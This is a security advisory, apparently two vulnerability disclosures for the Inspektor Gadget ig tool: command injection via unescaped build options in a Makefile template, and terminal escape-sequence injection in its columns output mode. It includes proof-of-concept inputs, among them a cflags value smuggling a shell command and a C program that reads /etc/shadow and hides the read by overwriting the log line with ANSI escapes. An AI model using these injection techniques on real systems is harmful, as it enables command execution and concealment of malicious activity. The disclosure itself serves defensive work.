Impacted Resources

inspektor-gadget/cmd/common/image/build.go inspektor-gadget/cmd/common/image/helpers/Makefile.build

Description

The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.

The following is the code responsible to construct the build command: go func buildCmd(options buildOptions) []string { cmd := []string{ "make", "-f", filepath.Join(options.outputDir, "Makefile.build"), "-j", fmt.Sprintf("%d", runtime.NumCPU()), "OUTPUTDIR=" + options.outputDir, "CFLAGS=" + options.cFlags, "FORCECOLORS=" + options.forceColorsFlag, }

if options.ebpfSourcePath != "" { cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf") } if options.wasmSourcePath != "" { cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm") } if options.btfgen { cmd = append(cmd, "BTFHUBARCHIVE="+options.btfHubArchivePath, "btfgen") }

return cmd }

The Makefile.build file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.

Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command: - on the Linux host where the ig command is launched, if images are built with the --local flag - on the build container invoked by ig, if the --local flag is not provided

Attack Complexity

The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

PoC

1. Create the file build.yaml with the following content: ebpfsource: "program.bpf.c" metadata: "gadget.yaml" cflags: " ; touch poc.txt ; " 2. Create the file gadget.yaml with the following content: name: test description: test gadget 3. Create the file program.bpf.c with the following content: #include <gadget/gadget.h> char LICENSE[] SEC("license") = "GPL"; 4. In the same directory where the files are run the command: ig image build . -t test:latest 5. Notice that the file poc.txt gets created inside the directory.

Suggested Remediation

Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution.

Resources

- https://cwe.mitre.org/data/definitions/77.html - https://cwe.mitre.org/data/definitions/78.html

Description String fields from eBPF events in columns output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences.

Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of ig operators, with various effects.

The columns output mode is the default when running ig run interactively.

PoC

Attachments run.sh bash

#!/bin/bash set -e

SCRIPTDIR="$(cd "$(dirname "$0")" && pwd)" CONTAINERNAME="poc-escape-inject"

echo "Make sure ig is running in another terminal:" echo " sudo ig run traceopen -c ${CONTAINERNAME}" echo "" echo "Press Enter to continue..." read -r

sudo docker run --rm \ --name "${CONTAINERNAME}" \ -v "${SCRIPTDIR}/escapeinject.c:/src/escapeinject.c:ro" \ gcc:latest \ bash -c " gcc -o /tmp/escapeinject /src/escapeinject.c && \ /tmp/escapeinject "

escapeinject.c c #include <fcntl.h> #include <stdio.h> #include <unistd.h>

static void readfile(const char path) { int fd = open(path, ORDONLY); if (fd >= 0) close(fd); }

static void createfile(const char path) { int fd = open(path, OCREAT | OWRONLY | OTRUNC, 0644); if (fd >= 0) close(fd); }

int main(void) { printf("[1] normal activity\n"); createfile("/tmp/app.log"); printf("[2] malicious read of /etc/shadow\n"); readfile("/etc/shadow"); usleep(300000); printf("[3] tampering the log\n"); createfile("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C"); usleep(300000); return 0; }

1. Setup a Linux host and build/install ig version 0.48.0 2. Run the attached run.sh on a terminal 3. Run sudo ig run traceopen -c poc-escape-inject on another terminal 4. Press "Enter" on the terminal attached to run.sh 5. Observe the events traced by ig 6. Notice that, at some point, the line where /etc/shadow is logged is overwritten /etc/bashrc, demonstrating the log injection

Impact

The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying columns output.

At the very least, the injection can be used for Log Injection, by inserting new lines or deleting existing ones.

However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:

- lead to DoS (Denial of Service) - write to the system clipboard - create hyperlinks to attacker-controlled servers - change window title - potentially execute code (see referenced resources)

Resources - https://www.youtube.com/watch?v=spb8Gk9Z09Y

Notes

The json output mode was already sanitizing the content.